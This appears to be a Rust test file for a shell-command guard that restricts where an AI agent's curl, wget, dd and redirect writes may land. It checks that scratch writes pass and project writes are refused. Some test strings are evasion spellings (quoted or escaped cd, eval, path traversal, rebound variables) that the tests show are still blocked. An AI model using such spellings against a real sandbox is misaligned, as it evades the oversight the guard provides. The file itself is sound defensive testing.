/// no in-tool route at all and pushed the agent to native shell.
#[test]
fn a_relative_download_into_a_scratch_directory_is_allowed() {
    for cmd in [
        "cd /tmp && curl -sL -o shot.png https://example.com/a.png",
        "cd /private/tmp/claude-501/session && curl -sL -o shot.png https://e/x",
        "cd /tmp/work && curl -sL -o sub/shot.png https://e/x",
    ] {
        assert!(
            download_to_file_reason(cmd).is_none(),
            "scratch destination must stay reachable: {cmd}"
        );
    }
}

/// Without capture roots only scratch passes: a relative target outside it —
/// or one this cannot resolve — is still refused. wget and dd follow the same
/// rule as curl.
#[test]
fn a_download_outside_every_capture_root_is_blocked() {
    for cmd in [
        "cd /tmp && wget -O page.html https://e/x",
        "cd /tmp && dd if=/dev/zero of=block.bin bs=1 count=1",
    ] {
        assert!(download_to_file_reason(cmd).is_none(), "{cmd}");
    }
    for cmd in [
        "curl -sL -o shot.png https://example.com/a.png",
        "cd /Users/me/project && curl -sL -o shot.png https://e/x",
        "cd \"$SCRATCH\" && curl -sL -o shot.png https://e/x",
        "cd /tmp && curl -sL -o /Users/me/project/shot.png https://e/x",
        "wget https://example.com/a.tar.gz",
        "dd if=/dev/zero of=/Users/me/project/block.bin",
    ] {
        assert!(
            download_to_file_reason(cmd).is_some(),
            "must stay blocked: {cmd}"
        );
    }
}

/// #1953: the refusal recommends an absolute scratch path, so the same path
/// spelled through a variable the command itself set must pass too. A
/// variable this cannot follow still leaves the target refused.
#[test]
fn a_download_target_through_a_literal_variable_is_judged_where_it_lands() {
    for cmd in [
        // The reporter's form.
        "D=/private/tmp/claude-502/s/scratchpad/vp; curl -fsSL https://e/x -o $D/install.sh; wc -l $D/install.sh",
        "D=/tmp/x && curl -sL -o ${D}/shot.png https://e/x",
        "export D=\"/tmp/with space\"; curl -sL -o \"$D/shot.png\" https://e/x",
    ] {
        assert!(
            download_to_file_reason(cmd).is_none(),
            "a literal scratch variable must resolve: {cmd}"
        );
    }
    for cmd in [
        // Assigned to a project path: resolved, and refused on the destination.
        "D=/Users/me/project; curl -sL -o $D/shot.png https://e/x",
        // Never assigned, or assigned where it may not take effect.
        "curl -sL -o $D/shot.png https://e/x",
        "true && D=/tmp; curl -sL -o $D/shot.png https://e/x",
        "D=/tmp | curl -sL -o $D/shot.png https://e/x",
        // Not a literal, or rebound after the assignment.
        "D=$(mktemp -d); curl -sL -o $D/shot.png https://e/x",
        "D=/tmp; read D; curl -sL -o $D/shot.png https://e/x",
        // A variable glued to more name characters is a different variable.
        "D=/tmp; curl -sL -o $Dx/shot.png https://e/x",
    ] {
        assert!(
            download_to_file_reason(cmd).is_some(),
            "must stay refused: {cmd}"
        );
    }
    let msg = validate_command("curl -sL -o $UNSET/shot.png https://e/x").expect("blocked");
    assert!(
        msg.contains("a variable this same command set to a literal path"),
        "the refusal must say which spellings it can resolve: {msg}"
    );
}

/// #2080 follow-up (owner decision 2026-10-15): a download may write where
/// `>` capture may. An agent fetching a model into its project was refused
/// three times in a row — variable, literal, `&&` chain — before giving up;
/// scratch-then-`mv` was the only route. The reporter's forms now pass.
#[test]
fn a_download_writes_where_output_capture_may() {
    // An absolute root on every platform: `/Users/…` is not absolute on Windows.
    let home = if cfg!(windows) {
        "C:/Users/me"
    } else {
        "/Users/me"
    };
    let project = format!("{home}/promo/tts");
    let other = format!("{home}/other");
    let roots = vec![project.clone()];
    let check = |cmd: &str, cwd: Option<&str>| validate_command_in_cwd(cmd, &roots, None, cwd);
    for (cmd, cwd) in [
        (
            format!("D={project}; B=https://h/x; curl -sL -o $D/model/m.onnx $B/m.onnx"),
            None,
        ),
        (
            format!("curl -sL -o {project}/model/v.npz https://h/v.npz"),
            None,
        ),
        (
            "curl -sL -o model/m.onnx https://h/m.onnx".to_string(),
            Some(project.as_str()),
        ),
        (
            "cd model && curl -sLO https://h/m.onnx".to_string(),
            Some(project.as_str()),
        ),
        (
            "wget -P model https://h/m.onnx".to_string(),
            Some(project.as_str()),
        ),
        (
            "dd if=/dev/zero of=model/blank.bin bs=1 count=1".to_string(),
            Some(project.as_str()),
        ),
        (
            "curl -sL -o /tmp/shot.png https://e/x".to_string(),
            Some(project.as_str()),
        ),
    ] {
        assert!(check(&cmd, cwd).is_none(), "{cmd}: {:?}", check(&cmd, cwd));
    }
    for (cmd, cwd) in [
        (
            format!("curl -sL -o {other}/m.onnx https://h/m.onnx"),
            Some(project.as_str()),
        ),
        (
            "curl -sL -o ../../other/m.onnx https://h/m.onnx".to_string(),
            Some(project.as_str()),
        ),
        (
            "curl -sL -o $UNSET/m.onnx https://h/m.onnx".to_string(),
            Some(project.as_str()),
        ),
        (
            "curl -sL -o model/m.onnx https://h/m.onnx".to_string(),
            None,
        ),
        ("wget https://h/m.onnx".to_string(), Some(other.as_str())),
    ] {
        let msg = check(&cmd, cwd).unwrap_or_else(|| panic!("must stay refused: {cmd}"));
        assert!(
            msg.contains("may write where output capture may") && msg.contains("project"),
            "the refusal states the rule it applies: {msg}"
        );
    }
}

/// The refusal has to name a route that works for the payload at hand.
/// Both suggested fallbacks were text-only, so for an image the message
/// left native Bash as the only way forward.
#[test]
fn the_refusal_names_a_route_that_works_for_binaries() {
    let msg = validate_command("curl -sL -o shot.png https://example.com/a.png").expect("blocked");
    assert!(msg.contains("scratch"), "{msg}");
    assert!(msg.contains("/tmp/"), "{msg}");
}

// --- GH #1659: the redirect verdict must not depend on position ---

/// The reporter's table, verbatim. The target was read up to whitespace, so
/// a trailing `;` became part of it (`/dev/null;`), the exemption missed,
/// and the identical redirect was blocked in a non-final segment.
#[test]
fn dev_null_is_exempt_in_every_position() {
    for cmd in [
        "echo hi 1>/dev/null",
        "echo a; echo b 1>/dev/null",
        "echo hi 1>/dev/null; echo ok",
        "echo a 1>/dev/null; echo b; echo c",
        "diff -q /etc/hosts /etc/hosts 1>/dev/null && echo SAME",
        "echo hi 1>/dev/null && echo ok",
        "echo hi >/dev/null; echo ok",
        "echo hi >/dev/null | cat",
        "(echo hi >/dev/null); echo ok",
    ] {
        assert!(
            !has_file_write_redirect(cmd, &[], None),
            "/dev/null is never a file write: {cmd}"
        );
    }
}

/// A redirect operator can carry one more character (`>|` noclobber
/// override, `>&` fd duplication). Terminating the word at metacharacters
/// must not swallow those — nor may it empty out a process-substitution
/// target, since an empty target falls through unblocked.
#[test]
fn redirect_operator_suffixes_keep_their_meaning() {
    for allowed in [
        "echo x >&1",
        "echo x >&2; echo ok",
        "echo x >&-",
        "echo x 1>&2 | cat",
    ] {
        assert!(
            !has_file_write_redirect(allowed, &[], None),
            "fd duplication is not a file write: {allowed}"
        );
    }
    for blocked in [
        "echo x >|out.txt",
        "echo x >|out.txt; echo ok",
        "echo x > >(tee out.txt)",
        "echo x > >(tee out.txt); echo ok",
    ] {
        assert!(
            has_file_write_redirect(blocked, &[], None),
            "still a file write: {blocked}"
        );
    }
}

/// The guard itself must not weaken: a real file target is still a write,
/// including in a non-final segment, which is the position the bug made
/// *over*-strict rather than under.
#[test]
fn a_real_file_target_is_still_a_write_in_any_position() {
    for cmd in [
        "echo hi > out.txt",
        "echo hi > out.txt; echo ok",
        "echo a; echo hi >> out.txt; echo b",
        "echo hi > out.txt && echo ok",
    ] {
        assert!(
            has_file_write_redirect(cmd, &[], None),
            "a file write must still be caught: {cmd}"
        );
    }
}

/// #1768: the refusal must state the rule that actually fired — the
/// destination — and must not offer a size rationale the guard does not
/// apply. The reporter's pair: two bytes into a project path is refused,
/// 1.3 MB into /tmp is allowed.
#[test]
fn redirect_refusal_names_the_destination_not_a_size() {
    let allow = vec!["/tmp".to_string()];
    let message = validate_command_with_write_allow_paths(
        "printf 'x\n' >> /project/lc_probe.txt",
        &allow,
        Some("/project"),
    )
    .expect("a project-path redirect is refused");

    assert!(
        message.contains("/project/lc_probe.txt"),
        "the refusal must name the target that tripped it: {message}"
    );
    assert!(
        message.contains("destination decides"),
        "the refusal must state the rule that fired: {message}"
    );
    for misleading in ["large payload", "large payloads", "protocol corruption"] {
        assert!(
            !message.contains(misleading),
            "a size rationale must not survive — the guard never weighs size: {message}"
        );
    }
    assert!(
        message.contains("/tmp"),
        "the reachable alternative must be named: {message}"
    );

    // The other half of the pair: a large capture into scratch stays
    // allowed, so the message above cannot be read as "redirects are
    // banned".
    assert!(
        validate_command_with_write_allow_paths(
            "seq 1 200000 > /tmp/lc_probe_big.txt",
            &allow,
            Some("/project"),
        )
        .is_none(),
        "a scratch capture must stay allowed regardless of payload size"
    );
}

/// #1992: the child shell performs the redirect, so a captured file receives
/// the command's own bytes — compression only touches the MCP return channel
/// (#1303, v3.9.14). No write refusal may justify itself with compression
/// markers any more; each states the write-path reason and that the verdict
/// does not depend on the output.
#[test]
fn write_refusals_state_the_write_path_reason_not_compression() {
    let allow = vec!["/tmp".to_string()];
    let commands = [
        "cat > /project/util/zz_test.go <<'EOF'\npackage util\nEOF",
        "printf 'x\n' > /project/out.txt",
        "seq 1 5 | tee /project/out.txt",
        "curl -sL -o /project/shot.png https://example.com/x.png",
    ];
    for command in commands {
        let message = validate_command_with_write_allow_paths(command, &allow, Some("/project"))
            .unwrap_or_else(|| panic!("a project write is refused: {command}"));
        for stale in [
            "compression markers",
            "compresses what it returns",
            "compressed output",
            "may not be the bytes",
        ] {
            assert!(
                !message.contains(stale),
                "stale compression rationale `{stale}` in refusal for {command}: {message}"
            );
        }
        if !command.starts_with("curl") {
            assert!(
                message.contains("ctx_patch") && message.contains("read-before-write"),
                "the refusal must name the real write path for {command}: {message}"
            );
        }
    }
}

/// #1946: a destination outside the project — and outside every root — is
/// refused like a project path, so the refusal must not call the rule
/// "into a project path". The reporter believed that wording, tried another
/// non-project path and hit the identical refusal. Both the redirect and the
/// `tee` refusal state the rule that fires and name the configured escape.
/// Owner decision 2026-10-08 (Discord report: "refuses the project dir and
/// ignores allow_paths"): ctx_shell capture may land in the session's project
/// and the jail's allow entries; every other destination stays refused, and
/// broad roots never become capture roots.
#[test]
fn capture_into_the_project_and_allow_entries_is_allowed() {
    let _iso = lean_ctx::core::data_dir::isolated_data_dir();
    let project = tempfile::tempdir().unwrap();
    let shared = tempfile::tempdir().unwrap();
    let cfg = lean_ctx::core::config::Config {
        allow_paths: vec![shared.path().to_string_lossy().into_owned()],
        ..Default::default()
    };
    let project_s = project.path().to_string_lossy().into_owned();
    let mut allow = vec!["/tmp".to_string()];
    allow.extend(super::capture_roots(&project_s, &[], &cfg));

    // Shell text uses `/` (a `\` is an escape to the POSIX tokenizer); Windows
    // accepts it, and that is how agents spell paths in commands there.
    let shell = |p: &std::path::Path| p.to_string_lossy().replace('\\', "/");
    let (proj, shared_s) = (shell(project.path()), shell(shared.path()));
    for cmd in [
        format!("cargo build 2>&1 > {proj}/build.log"),
        format!("echo x | tee {proj}/out.txt"),
        format!("echo x >> {shared_s}/notes.txt"),
    ] {
        assert!(
            validate_command_in_cwd(&cmd, &allow, None, Some(&project_s)).is_none(),
            "{cmd}"
        );
    }
    // A relative target from the project cwd lands in the project.
    assert!(validate_command_in_cwd("echo x > out.txt", &allow, None, Some(&project_s)).is_none());
    // Elsewhere stays refused.
    assert!(
        validate_command_in_cwd(
            "echo x > /Users/me/Desktop/p.txt",
            &allow,
            None,
            Some(&project_s)
        )
        .is_some()
    );
    // `/`, `~` and its ancestors never become capture roots.
    let home = dirs::home_dir().unwrap().to_string_lossy().into_owned();
    let broad = lean_ctx::core::config::Config {
        allow_paths: vec!["/".into(), "~".into(), home.clone()],
        ..Default::default()
    };
    {
        let found = &super::capture_roots(&home, &["/".to_string()], &broad);
        assert!(found.is_empty(), "{found:?}");
    }
}

#[test]
fn capture_refusals_state_the_rule_that_fires_outside_the_project() {
    let allow = vec!["/tmp".to_string()];
    for cmd in [
        "echo probe > /Users/me/Desktop/probe.txt",
        "echo probe | tee /Users/me/Desktop/probe.txt",
    ] {
        let msg = validate_command_with_write_allow_paths(cmd, &allow, Some("/Users/me/project"))
            .expect("a non-scratch destination outside the project is refused");
        assert!(
            !msg.contains("into a project path")
                && !msg.contains("the destination is inside the project"),
            "the rule must not be scoped to the project: {msg}"
        );
        assert!(
            msg.contains("write_allow_paths") && msg.contains("/tmp"),
            "name the scratch paths and the configured escape: {msg}"
        );
        assert!(
            msg.contains("/Users/me/Desktop/probe.txt"),
            "name the destination: {msg}"
        );
    }
}

/// The target is reported verbatim, so a caller can match it against the
/// command they sent — including the `>>` form and a non-final segment.
#[test]
fn disallowed_redirect_target_is_reported_verbatim() {
    assert_eq!(
        disallowed_write_redirect_target("echo hi > out.txt", &[], None, None).as_deref(),
        Some("out.txt")
    );
    assert_eq!(
        disallowed_write_redirect_target(
            "echo a; echo hi >> logs/run.log; echo b",
            &[],
            None,
            None
        )
        .as_deref(),
        Some("logs/run.log")
    );
    assert_eq!(
        disallowed_write_redirect_target("echo x >&1", &[], None, None),
        None,
        "fd duplication names no file"
    );
}

// --- #1811: the destination decides, so a relative target gets placed first ---

/// The reported case: a relative target under a scratch `cwd` was blocked while
/// the identical absolute path was allowed, and the refusal claimed "the
/// destination decides" about a destination it had never resolved.
#[test]
fn relative_target_under_scratch_cwd_is_allowed() {
    let paths = vec!["/private/tmp".to_string()];
    assert!(
        validate_command_in_cwd(
            "echo x > probe.txt",
            &paths,
            Some("/repo"),
            Some("/private/tmp/scratch"),
        )
        .is_none(),
        "a relative target resolving into a scratch path must be allowed"
    );
}

/// The direction that matters more: resolving must not become a loophole. A
/// relative target under a *project* cwd now resolves into the project and is
/// refused on the same rule as an absolute one.
#[test]
fn relative_target_under_project_cwd_stays_blocked() {
    let paths = vec!["/private/tmp".to_string()];
    for command in [
        "echo x > probe.txt",
        "echo x >> logs/run.log",
        "echo x | tee probe.txt",
    ] {
        assert!(
            validate_command_in_cwd(command, &paths, Some("/repo"), Some("/repo/sub"),).is_some(),
            "{command}: a relative target inside the project must stay blocked"
        );
    }
}

/// `..` must not walk out and back in unnoticed: the comparison resolves the
/// joined path, so traversal landing inside the project is still refused.
#[test]
fn relative_traversal_back_into_the_project_stays_blocked() {
    let paths = vec!["/private/tmp".to_string()];
    assert!(
        validate_command_in_cwd(
            "echo x > ../src/main.rs",
            &paths,
            Some("/repo"),
            Some("/repo/sub"),
        )
        .is_some(),
        "traversal that lands back inside the project must stay blocked"
    );
}

/// Without a cwd nothing changes: a relative target cannot be placed, so it
/// keeps the pre-existing conservative refusal.
#[test]
fn relative_target_without_cwd_keeps_the_old_refusal() {
    let paths = vec!["/private/tmp".to_string()];
    assert!(validate_command_in_cwd("echo x > probe.txt", &paths, Some("/repo"), None).is_some());
}

/// A cwd outside both the project and the allow-list is not a licence to write
/// there — the allow-list decides, the cwd only places the target.
#[test]
fn relative_target_under_unlisted_cwd_stays_blocked() {
    let paths = vec!["/private/tmp".to_string()];
    assert!(
        validate_command_in_cwd(
            "echo x > probe.txt",
            &paths,
            Some("/repo"),
            Some("/somewhere/else"),
        )
        .is_some(),
        "cwd places the target; it does not allow-list it"
    );
}

/// #1850, the false block: the call runs in the project, but `cd` moves the
/// redirect into scratch. Judged against the call's cwd, `out.txt` looked like
/// a project write.
#[test]
fn a_cd_into_scratch_places_a_relative_target_in_scratch() {
    let paths = vec!["/private/tmp".to_string()];
    for command in [
        "cd /private/tmp/work && echo x > out.txt",
        "cd /private/tmp/work && go test ./... | tee run.log",
        "cd /private/tmp && cd work && echo x >> out.txt",
    ] {
        assert!(
            validate_command_in_cwd(command, &paths, Some("/repo"), Some("/repo")).is_none(),
            "{command}: the target lands in scratch and must be allowed"
        );
    }
}

/// #1850, the direction that matters more: from a scratch cwd, `cd` into the
/// project must not smuggle a relative target past the guard.
#[test]
fn a_cd_into_the_project_keeps_a_relative_target_blocked() {
    let paths = vec!["/private/tmp".to_string()];
    for command in [
        "cd /repo && echo hi > f",
        "cd /repo/src && echo hi >> lib.rs",
        "cd /repo && echo hi | tee f",
        "cd ../../../repo && echo hi > f",
    ] {
        assert!(
            validate_command_in_cwd(command, &paths, Some("/repo"), Some("/private/tmp/s"))
                .is_some(),
            "{command}: the target lands in the project and must be refused"
        );
    }
}

/// Wherever the directory is not certain, a relative target is refused — even
/// though every one of these starts from a scratch cwd, because each can end up
/// running in the project.
#[test]
fn a_relative_target_after_an_uncertain_cd_is_refused() {
    let paths = vec!["/private/tmp".to_string()];
    for command in [
        // May not have run, or may have failed and fallen through.
        "true || cd /private/tmp/x && echo hi > f",
        "cd /private/tmp/missing && true; echo hi > f",
        "cd /private/tmp/missing && true || echo hi > f",
        "cd /private/tmp/missing || echo failed; echo hi > f",
        "false && cd /private/tmp/x; echo hi > f",
        // Moves the shell in a way the text does not spell out.
        "pushd /repo && echo hi > f",
        "builtin cd /repo && echo hi > f",
        "{ cd /repo; } && echo hi > f",
        "for d in a; do cd /repo; done; echo hi > f",
        "cd \"$PROJECT\" && echo hi > f",
    ] {
        assert!(
            validate_command_in_cwd(command, &paths, Some("/repo"), Some("/private/tmp/s"))
                .is_some(),
            "{command}: the directory is not certain, so a relative target must be refused"
        );
    }
}

/// A `cd` in a background job or a subshell moves nothing after it, so the
/// target stays where the call runs — in the project here.
#[test]
fn a_cd_that_cannot_move_the_shell_does_not_move_the_target() {
    let paths = vec!["/private/tmp".to_string()];
    for command in [
        "cd /private/tmp/x && true & echo hi > f",
        "(cd /private/tmp/x && make) && echo hi > f",
    ] {
        assert!(
            validate_command_in_cwd(command, &paths, Some("/repo"), Some("/repo")).is_some(),
            "{command}: the target still lands in the project"
        );
    }
}

/// `cd x || exit` is how scripts make a `cd` certain; what follows runs in `x`.
#[test]
fn cd_or_exit_makes_the_directory_certain() {
    let paths = vec!["/private/tmp".to_string()];
    assert!(
        validate_command_in_cwd(
            "cd /private/tmp/work || exit 1; echo x > out.txt",
            &paths,
            Some("/repo"),
            Some("/repo"),
        )
        .is_none()
    );
}

/// `cd <dir>; …` runs the next command either way, so it only moves the target
/// when the directory exists and the `cd` cannot fail.
#[test]
#[cfg(unix)]
fn cd_then_semicolon_follows_an_existing_directory_only() {
    let scratch = tempfile::tempdir().expect("tempdir");
    let dir = scratch.path().to_string_lossy().into_owned();
    let paths = vec![dir.clone()];
    assert!(
        validate_command_in_cwd(
            &format!("cd {dir}; echo x > out.txt"),
            &paths,
            Some("/repo"),
            Some("/repo"),
        )
        .is_none(),
        "an existing directory: the `cd` takes effect"
    );
    assert!(
        validate_command_in_cwd(
            &format!("cd {dir}/missing; echo x > out.txt"),
            &paths,
            Some("/repo"),
            Some("/repo"),
        )
        .is_some(),
        "a missing directory: the `cd` fails and the write lands in the project"
    );
}

/// A refused relative target says how it was placed, so the caller knows to
/// give an absolute path; an absolute one does not need the explanation.
#[test]
fn a_refused_relative_target_explains_where_it_was_placed() {
    let paths = vec!["/private/tmp".to_string()];
    let relative = validate_command_in_cwd("pushd /x && echo hi > f", &paths, Some("/repo"), None)
        .expect("refused");
    assert!(relative.contains("its own command runs in"), "{relative}");
    assert!(relative.contains("absolute path"), "{relative}");
    let absolute =
        validate_command_in_cwd("echo hi > /repo/f", &paths, Some("/repo"), Some("/repo"))
            .expect("refused");
    assert!(!absolute.contains("its own command runs in"), "{absolute}");
}

/// #2081: quoted text is data. The reporter appended a log line that mentioned
/// `cd $TMPDIR`; the word `cd` inside the string made the directory "unknown"
/// and the relative target was refused.
#[test]
fn a_cd_inside_a_quoted_argument_does_not_unplace_a_relative_target() {
    let scratch = vec!["/private/tmp".to_string()];
    for command in [
        "printf '%s\\n' 'note: cd /repo mention' > f.txt",
        "printf '%s\\n' 'note: cd $TMPDIR mention' > f.txt",
        "echo \"then pushd /repo\" >> f.txt",
    ] {
        assert!(
            validate_command_in_cwd(command, &scratch, Some("/repo"), Some("/private/tmp/s"))
                .is_none(),
            "{command}: the target lands in the call's scratch cwd"
        );
    }
    // The reporter's form, with the project as a capture root.
    let roots = vec!["/private/tmp".to_string(), "/repo".to_string()];
    let command = "cd /repo && printf '| %s | (cd $TMPDIR not followed by capture guards) |\\n' \
                   \"$(date +%H:%M)\" >> .wolf/memory.md && tail -1 .wolf/memory.md";
    assert!(
        validate_command_in_cwd(command, &roots, None, Some("/repo")).is_none(),
        "{command}"
    );
}

/// The other side of #2081: a quoted command name still runs, and `eval` runs
/// text in this shell. From a scratch cwd these can move into the project, so
/// a relative target after them stays refused.
#[test]
fn a_quoted_cd_command_or_eval_keeps_a_relative_target_refused() {
    let scratch = vec!["/private/tmp".to_string()];
    for command in [
        "\"cd\" /repo && echo hi > f",
        "c'd' /repo && echo hi > f",
        "\\cd /repo && echo hi > f",
        "eval 'cd /repo' && echo hi > f",
        "eval \"cd /repo\"; echo hi > f",
    ] {
        assert!(
            validate_command_in_cwd(command, &scratch, Some("/repo"), Some("/private/tmp/s"))
                .is_some(),
            "{command}: the directory is not certain, so a relative target must be refused"
        );
    }
}

/// #2079: `cd $TMPDIR/<dir>` and `cd $D` with `D` set to a literal earlier are
/// followed like the literal, for both capture guards.
#[test]
fn a_cd_through_a_known_variable_places_a_relative_target() {
    let scratch = vec!["/private/tmp".to_string()];
    for command in [
        "D=/private/tmp/w; cd $D && echo hi > e.txt",
        "D=/private/tmp; cd \"$D/w\" && echo hi | tee e.txt",
    ] {
        assert!(
            validate_command_in_cwd(command, &scratch, Some("/repo"), Some("/repo")).is_none(),
            "{command}: the target lands in scratch"
        );
    }
    for command in [
        "D=/tmp/w; cd $D && curl -s -o b.txt https://example.com",
        "D=/tmp; cd ${D}/w && curl -s -o b.txt https://example.com",
    ] {
        assert!(download_to_file_reason(command).is_none(), "{command}");
    }
    // Resolved, and refused on where it lands.
    for command in [
        "D=/repo; cd $D && echo hi > f",
        "TMPDIR=/repo; cd $TMPDIR && echo hi > f",
    ] {
        assert!(
            validate_command_in_cwd(command, &scratch, Some("/repo"), Some("/private/tmp/s"))
                .is_some(),
            "{command}: the target lands in the project"
        );
    }
    // Not resolvable: rebound to something unknown, or never set.
    for command in [
        "TMPDIR=$PWD; cd $TMPDIR && echo hi > f",
        "cd $PROJECT && echo hi > f",
    ] {
        assert!(
            validate_command_in_cwd(command, &scratch, Some("/repo"), Some("/private/tmp/s"))
                .is_some(),
            "{command}: the directory is not certain"
        );
    }
    for command in [
        "TMPDIR=$PWD; cd $TMPDIR && curl -s -o b.txt https://e/x",
        // Was judged against the environment's `$TMPDIR` and let through.
        "TMPDIR=$PWD; curl -s -o $TMPDIR/b.txt https://e/x",
        "export TMPDIR=$(pwd); curl -s -o $TMPDIR/b.txt https://e/x",
    ] {
        assert!(download_to_file_reason(command).is_some(), "{command}");
    }

    // The reporter's exact forms, wherever this machine's `$TMPDIR` is.
    let Some(tmpdir) = std::env::var("TMPDIR")
        .ok()
        .filter(|t| !t.is_empty() && std::path::Path::new(t).is_dir())
    else {
        return;
    };
    let paths = vec![tmpdir];
    for command in [
        "cd $TMPDIR && echo hi > lcx-probe-i.txt",
        "cd $TMPDIR/lcx-probe && echo hi > e.txt",
    ] {
        assert!(
            validate_command_in_cwd(command, &paths, Some("/repo"), Some("/repo")).is_none(),
            "{command}"
        );
    }
    assert!(
        download_to_file_reason(
            "cd $TMPDIR/lcx-probe && curl -s -m 10 -o b.txt https://example.com"
        )
        .is_none()
    );
}

/// #848: temp redirect targets are allowed
#[test]
#[cfg(unix)]
fn temp_redirect_target_allowed() {
    assert!(super::is_temp_redirect_target("/tmp/build.log"));
    assert!(super::is_temp_redirect_target("/tmp"));
    assert!(!super::is_temp_redirect_target("/home/user/output.log"));
}